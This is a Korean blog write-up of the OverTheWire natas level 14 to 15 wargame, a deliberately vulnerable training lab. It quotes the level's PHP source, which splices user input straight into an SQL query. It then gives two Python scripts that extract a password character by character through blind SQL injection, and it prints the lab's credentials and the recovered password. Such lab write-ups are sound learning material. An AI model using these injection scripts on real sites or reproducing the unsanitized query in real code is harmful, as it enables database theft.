Over the Wire/natas

[OvertheWire : natas] level 14 → 15

ruming 2021. 5. 29. 05:25

user가 존재하는지 검색하는 창같다. natas16을 검색해봤는데 다음과 같이 떴다.

 

...

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

저번처럼 " or 1=1 #을 입력해봤는데 This user exists.라고 한다. 아무래도 blind sql injection 같다. 

패스워드를 하나씩 입력해서 exist가 뜰 때까지 찾던가 자동화 프로그램을 돌려야 한다.

los에서 blind sql injection을 풀 때는 자동화 프로그램을 쓰지 않았지만 이번에는 써보겠다.

 

natas_pass.py

import socket

key=''
for i in range(1, 33):
    for j in range(48, 123):
        if 59 <= j <= 64: continue
        if 91 <= j <= 96: continue
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(("176.9.9.172", 80))

        header = "GET /index.php?"
        header += "username=natas16%22%20and%20ascii(substr(password,"+str(i)+",1))="+str(j)+"%23"
        header += " HTTP/1.1\r\n"
        header += "Host:natas15.natas.labs.overthewire.org\r\n"
        header += "Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
        header += "\r\n"

        sock.send(header.encode())
        response = sock.recv(65535)
        response = response.decode()

        if "This user exists." in response:
            key += chr(j)
            print(key)
            break

시간이 상당히 오래 걸렸다. 중간에 연결이 끊어지는 등 우여곡절 끝에..

 

이렇게 출력이 되었다!

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

 


참고 : https://itinformation.tistory.com/100

 

더보기

python 코드가 잘 이해가 안되는 부분이 있었는데 

los에서 봤던 방법이랑 비슷한 코드가 있어서 가져와봤다.

 

import requests, string

url = "http://natas15.natas.labs.overthewire.org/index.php"
auth_username = "natas15"
auth_password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
exist_user = "This user exists."

# characters =
#'abcabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
characters = ''.join([string.ascii_letters,string.digits])
pass_dict = []

print('Searching Used Characters', end='')
for char in characters:
    uri = ''.join([url,'?','username=natas16"+and+password+LIKE+BINARY+"%',char,'%','&debug'])
    r = requests.get(uri, auth=(auth_username,auth_password))
    #print(r.text)
    if exist_user in r.text:
        print('.', end='')
        pass_dict.append(char)

print()
print(pass_dict)

# username, password 모두 64 글자 이내의 길이
# password 비교는 case-sensitive!
# 그래서 LIKE BINARY 를 이용해 비교해준다.
print("Bruteforcing...")
password = ''
pass_list = []
for i in range(64):
    for char in pass_dict:
        check = ''.join([password,char])
        # Build the GET request
        uri = ''.join([url,'?','username=natas16"+and+password+LIKE+BINARY+"',check,'%','&debug'])
        r = requests.get(uri, auth=(auth_username,auth_password))

        # Parse the HTTP response
        if exist_user in r.text:
            pass_list.append(char)
            password = ''.join(pass_list)
            result = f'Length: {len(password)}, Password: {password}'
            print(result)

이 정도면 따라해볼만 한 것 같다.

https://karatus.tistory.com/127